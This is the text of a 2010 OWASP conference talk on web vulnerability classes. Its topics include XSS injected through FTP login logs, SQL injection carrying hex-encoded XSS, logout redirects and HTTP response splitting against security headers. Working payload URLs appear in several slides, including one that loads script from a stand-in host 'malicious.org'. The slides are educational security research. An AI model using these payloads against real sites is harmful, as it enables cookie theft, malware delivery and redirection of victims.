Bug-Alcoholic 2.0 - Untamed World of Web Vulnerabilities · All contents of this presentation...

Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License.

The OWASP Foundation

OWASP

http://www.owasp.org

Bug-Alcoholic 2.0 - Untamed World of Web Vulnerabilities

Aditya K Sood

SecNiche Security Labs

Sr. Security Practitioner, Armorize

adi_ks [at] secniche.org

AppSec 2010, University of California Irvine, CA, USA

September 10, 2010

OWASP 2

Disclaimer

All contents of this presentation represent my own beliefs and views and do not,

unless explicitly stated otherwise, represent the beliefs of my current, or any of my

previous in that effect, employers.

Dependency

Web penetration testing plays a critical role in assessing the applied security.

Vulnerabilities in deployed products matter a lot.

Testing output depends on exploitation of existing issues and discovering flaws.

Attack classification remains same but modus operandi of attack varies

Testing requires creation of attack surface.

OWASP 3

About Me

Founder , SECNICHE Security Labs.

http://www.secniche.org

PhD Candidate at Michigan State University.

Senior Security Practitioner , Armorize

http://www.armorize.com

Worked previously for COSEINC as Senior Security Researcher and Security

Consultant for KPMG

Author for HITB E-Zine, Hakin9 ,ELSEVIER, USENIX Journals.

Likes to do Bug Hunting and Malware dissection.

Released Advisories to Forefront Companies.

Active Speaker at Security Conferences including RSA etc.

Blog: http://zeroknock.blogspot.com

http://www.secniche.org/

http://www.armorize.com/

http://zeroknock.blogspot.com/

OWASP 4

Notification

All the vulnerabilities discussed in this talk are in the process of

patching.

This discussion is all about understanding the attack methods and using them further in a real time environment.

All for learning and education purposes.

OWASP 5

Agenda

Web 2.0 – Walkthrough

Web 2.0 – The real world

Web 2.0 trends ( vulnerability classification, browsers state)

Web 2.0 – Exploitation shift

Web Application Security is not a separate component !

Web Vulnerability Hunting(Exemplary) – Cross Interface Attacks (CIA) / attacking backend login consoles /

– SQLXSSI – Fusion { XSS, SQL } / XSS payload in SQL parameters /

– Document rendering attacks / exploiting content transformation /

– Web widgets interface flaws / testing mini web play ground/

– Persistent redirection attacks /exploiting logout modules/

– Declarative security manipulation / tampering browsers/

– Insecure Content inclusion / exploitation by behavior /

Conclusion

OWASP 6

Web 2.0 – The Present World

Components in real world

OWASP 7

Web Trends – Incidents Classification

Top Web incidents/trends of 2009 /predictions for 2010

© stats by Breach

OWASP 8

Web Trends – Vulnerability Classes

Web vulnerability classification - 2009

© website stats by Cenzic

OWASP 9

Web Trends – Exploited Browsers

Web vulnerability classification - 2009

© stats by Cenzic

OWASP 10

Web 2.0 – Exploitation Shift

Why ? System vulnerabilities are getting harder to exploit

Web 2.0 service platforms

Client side exploitation – easy control through browsers

Origin of Web as a service standard

Increased business dependency on web 2.0

Centralized platform for content sharing from different resources

Online social networking

Wider window of exploitation through web

Information gathering about targets is easy on web

OWASP 11

Web Application – Security Is Not Separate !

Robust Web Application

Reliability

Privacy

Security

Design

Development

OWASP 12

Web Application Vulnerability Hunting

Pillars Design and Development

Attack and Exploitation

Patching and Rebuilding

OWASP 13

Cross Interface Attacks (CIA)

Hardware devices using admin interfaces.

Admin interfaces : { Web, FTP, Telnet}

Do we require all admin interfaces ? If web admin is allowed, so what about backend consoles!

Is URL restriction a good practice?

Is it advantageous to have backend consoles?

Does access control serves well?

CIA targets FTP/Telnet admin consoles.

Step by step developing an attack surface.

Hardware devices – firewalls, disk stations,

management systems etc

OWASP 14


Attack base and considerations Presence of FTP/Telnet admin login console

Hardware appliances have default error logging mechanism

Log interfaces are served in HTML without filtering

A bad design practice from security point of view

Protocol such as FTP/Telnet default nature helps in information gathering

FTP Truth

Collective username and password authentication

Followed to avoid enumeration of user accounts

No check on login attempts. No check on characters.

Usually, accessible widely.

– Do you think access control is required?

OWASP 15


Attacking and testing Gathering information about allowed characters

No aim to get authenticated

– FTP 530 Login Incorrect is what we require.

Malicious payloads are used as username and password

– Injections / Scripts / Iframes / DOM Calls / Persistent Payloads

– Inject what ever you want !

– Good point for triggering CSRF attacks

Of-course , Authentication failure. Error gets logged.

Payloads become persistent. It can be reflective.

Bad design practice – Unencoded / Unfiltered HTML rendering

– Inappropriate web logging mechanism

Viola ! Something happens.

OWASP 16


Scrutinizing default buffer To determine the number of characters that are allowed

Supplying excess of buffer in FTP_USER_NAME input

FTP_PASS_WORD reflects the allowed FTP_USER_NAME

Injection points – {FTP_USER_NAME , FTP_PASS_WORD}

OWASP 17


Injecting payloads Supplying payloads as credentials

Input points – {FTP_USER_NAME , FTP_PASS_WORD}

OWASP 18


What else? Anything

Irrespective of user’s environment { OS /Browser etc }

OWASP

Differential attack surface How far we can go in using the standard vulnerabilities?

How many different ways of exploitation can be developed?

Why not fusing one vulnerability into another ?

Its’ all about game of payloads

Triggering XSS through SQL Injection All types of XSS possibilities

Verbose SQLI vulnerability is the base

Errors with truncated SQL queries with parameters

XSS payloads injected in SQL parameters

Obfuscating payloads

Basically, an XSS injection using database semantics

Reflective in nature

19

SQLXSSI: Fusion {XSS , SQLI}

OWASP

Generalized pattern <script>alert(document.cookie)</script> =

0x3c7363726970743e616c65727428646f63756d656e742e636f6f6b6965293c2f736

3726970743e

20


http://vulnerable.com/web_page/index.php?id=1and(select1from(selectcount(*),concat(0x3c73

63726970743e616c657274282f73636861702f293c2f7363726970743e,floor(rand(0)*2)) x

from table-name groupby x)a)

<script src="http://wwww.malicious.org/ex.js" />=

3c736372697074207372633d22687474703a2f2f777777772e6d616c6963696f75732

e6f72672f65782e6a7322202f3e

http://vulnerable.com/web_page/index.php?id=1and(select1from(selectcount(*),concat(0x

3c736372697074207372633d22687474703a2f2f777777772e6d616c6963696f75732e6f72672f

65782e6a7322202f3e,floor(rand(0)*2)) x from table-name groupby x)a)

OWASP 21

SQLXSSI: Fusion {XSS , SQLI} – Example (1)

Error gets rendered in browser

OWASP 22


Injected XSS Payload in SQL parameter

OWASP 23


Injected payload starts downloading malicious XLS file

OWASP 24


Image with malicious request is injected

OWASP

Real world! Websites are getting more susceptible to these issues

Vulnerability ratio exceeds to 1:2

So what ! One vulnerability can lead to another. Testing is inadvertent.

SQLI can be used in a differential manner

Advanced step in conducting XSS through SQLI

Database design matters

25


Thanks to RB (1337) (http://www.schap.org) for initiating this type of attack surface

http://www.schap.org/

OWASP 26

Document Rendering Attacks

Concept Inability of existing filters used for content transformation

Inappropriate design of web applications

Mistake – using browser as editors for content rendering

Do you want to upload you resume in MSWord?

Attack vector Setting payloads as inline URL links in the Office

documents

Document is required to be viewed. Preview properties.

Persistent in nature primarily. User interaction is required.

MSWord, PowerPoint etc all work well depending on the web application

Bypassing XSS filters through Office documents http://www.secniche.org/papers/SNS_09_01_Evad_Xss_Filter_Msword.pdf

http://www.secniche.org/papers/SNS_09_01_Evad_Xss_Filter_Msword.pdf

OWASP 27


Payload is injected as Hyperlink

OWASP 28


The document is edited in the enterprise web application

OWASP 29


Exploited

OWASP 30


Case Study

XML based authoring flaws

Vulnerability reported in SCRIBD platform in 2009

Reported and patched

Scribd failed to implement a filter on payload set in protocol handlers

Links directly injected and converted to XML

Lastly, compiled and displayed in flash player

IPaper Platform XML based Link Authoring Flaw – Scribd http://coseinc.com/en/index.php?rt=download&act=publication&file=design_inaccuracy_i

nside_ipaper_framework.pdf

http://coseinc.com/en/index.php?rt=download&act=publication&file=design_inaccuracy_inside_ipaper_framework.pdf

http://coseinc.com/en/index.php?rt=download&act=publication&file=design_inaccuracy_inside_ipaper_framework.pdf

OWASP 31

XML Authoring Flaw – Case Study

XML working model

OWASP 32

XML Authoring Flaw – Case Study (Example)

OWASP 33

Web Widget Interface Flaws

What lies beneath?

Web widget

A snippet of HTML code embedded in the website. You can "copy" that code and "embed" in your web page

Gadget is proprietary where as widget is freely available

Diverse functionalities – advertisements, traffic analysis , news, feeds , etc

Web widget code snippets

JavaScript

Adobe Flash plugins

Code for embedding Windows Media player

Silverlight plugins

OWASP 34


Insecurities

Code specification issues

A widget or gadget can be designed insecurely

HTTP parameters play a crucial role in working

Arbitrary code execution in OS – Scripting interface

Unsanitized, unfiltered, unverified data acceptability

Interface with websites and triggering vulnerabilities

Understanding the design of widget

Widget interface with the primary website and how it works

Registered widget and domain names in database can cause security problems in the base website

OWASP 35


Web widget working layout

The model looks simplistic in nature.

OWASP 36


Case Study

Real time issue in one of most recognized vendor – The website is a leading service provider for news and

advertisements

– The widget is allowed to install on any custom blog or user website after the registration process. The widget code is changed based on the platform such as blogger , MySpace etc

– Once the registration is done, the widget snippet is provided to the user or customer for inclusion in his/her website

– Now the content provider has a URL which redirects traffic from the primary website to the registered blog.

A very bad design practice.

OWASP 37


Attack scenario

Details » Attacker registers his malicious blog with that content

provider

» Once it is registered, the widget is allowed to be included in the attacker controlled website

» Attacker starts using the content provider link to redirect traffic to his blog and making victims vulnerable.

OWASP 38

Persistent Redirection Attacks

HTTP Redirection Automated redirection

What If attacker controls

More effective – if persistent

OWASP 39

Persistent Redirect Attacks

Manipulating Logout Module

Details » Enterprise application inbuilt functionality to provide a pre

login parameter for inline redirection back to application home page while logging out of the application

» Careful analysis and design scrutinization helps tester to find parameters which provide a persistent state to set your value

» The application does not verifies the value provided in the redirect variable while logging into the application

» Another variation of login redirection attacks, this one is logout redirection attacks

HackintheBox (HITB) EZine – Open Redirect Wreck Off Paper

http://magazine.hackinthebox.org/issues/HITB-Ezine-Issue-002.pdf

OWASP 2010

A9








OWASP 40

Persistent Redirection Attacks

Manipulating Logout Module

Layout – Vulnerability at disclosed to one of the biggest vendor

– Successfully exploited and triggered in a large number of applications

– When a above stated URL is used to login into application, the value of kk_home_url variable becomes persisted.

https://www.example.com/XXX_YYYY/ret.jsp?_pc=STANDARD_WEB_PAGE_STAT

&_pi=1800&kk_home_url=http://www.malicious.org

OWASP 41

Declarative Security Manipulation

Concept

Operation - Idea – The declarative model provides an extensible set of security

parameters in the HTTP responses

– Browsers can respond with a requested security mechanism

– Declared by the developer as part of the web server or application running on the server. In this way, declarative security can provide both a portable and flexible security defense

Why declarative security in http response headers – ClickJacking attacks

– XSS filtering issues

– File downloading security

– HTML content rendering

OWASP 42

Declarative Security Manipulation

HTTP response headers Clickjacking

– X-FRAME-OPTIONS {SAMEORIGIN / DENY}

» Don’t allow the website to be framed

» Browser automatically escape the framing

– X-XSS-PROTECTION { 0 – Disable| 1- Enable}

» Triggers inbuilt IE XSS protection

» Nothing much to say about its insecurity

– X-CONTENT-TYPE-OPERATIONS{ NOSNIFF}

» Preventing script execution through images

» Secure MIME interpretation

– X-DOWNLOAD-OPTIONS{ NOOPEN}

» Disallowing opening of files on internet

Applied as HTTP response headers– HTTP response splitting attacks work appropriately ( %0d%0a)

OWASP 43

Declarative Security - Study

http://www.vulnerable.com/tamper.pl?url=temp1%3dparam1;%0d%0aX-XSS-Protection:0

%0d%0a%0d%0a<html><body><script>alert(‘0wned')</script></body></html>

http://www.vulnerable.com/tamper.pl?url=temp1%3dparam1;%0d%0aX-Download-Open:


http://www.vulnerable.com/tamper.pl?url=temp1%3dparam1;%0d%0aX-Frame-Options:0 [No

value] %0d%0a%0d%0a<html><body><script>alert(‘0wned')</script></body></html>

http://www.vulnerable.com/tamper.pl?url=temp1%3dparam1;%0d%0aX-Content-Type-

Options:[no Value]


Provide any falisfied value to bedazzle the real working of security component in a

browser.

Generic attack styles

OWASP 44


Feasibility study Implementation of DS in real world

To understand the scenario

To understand the adaptability

To estimate the risk to websites

Paper released at Usenix CollSec (Collaborative Methods of Security and Privacy ) :http://www.usenix.org/events/collsec10/tech/full_papers/Sood.pdf

OWASP 45


Feasibility study Alex top 1000 website responses

Google’s GWS implements the most

Paper released at Usenix CollSec (Collaborative Methods of Security and Privacy ) :http://www.usenix.org/events/collsec10/tech/full_papers/Sood.pdf

OWASP 46

Content Delivery Networks – Stringency

Content from third party Online advertisements

Video streaming content

Windows Media files (MP4, MP3) /Quick time

Embedded Flash files

Inline frames used for rendering contents

EMBED / OBJECT/ FRAME – HTML/DOM supporting elements

OWASP 47


Web 2.0 requirement

OWASP 48


Example – A malicious media player file can infect victims with malware once included from third party content network

Easy to bypass filter

Setting the Payload

Payload bypasses XSS filter and starts

downloading XLS file

OWASP 49

WWW Vulnerabilities - Circle

Evolving complex Technology

Complex Flaws Efficient Hacks

Testing and Strengthening

OWASP 50

Conclusion

Attacks on web infrastructure are increasing

More complexity more problems

Security is a process and not a one time shot

Design according to requirement

Test appropriately

OWASP 51

Questions and Knowledge Sharing

OWASP 52

Demonstrations - Available If Required

Shared on Individual Front.

OWASP 53

Thanks

OWASP (http://www.owasp.org )

SecNiche Security (http://www.secniche.org )

http://www.owasp.org/

http://www.secniche.org/

Bug-Alcoholic 2.0 - Untamed World of Web Vulnerabilities · All contents of this presentation...

Documents

Transcript of Bug-Alcoholic 2.0 - Untamed World of Web Vulnerabilities · All contents of this presentation...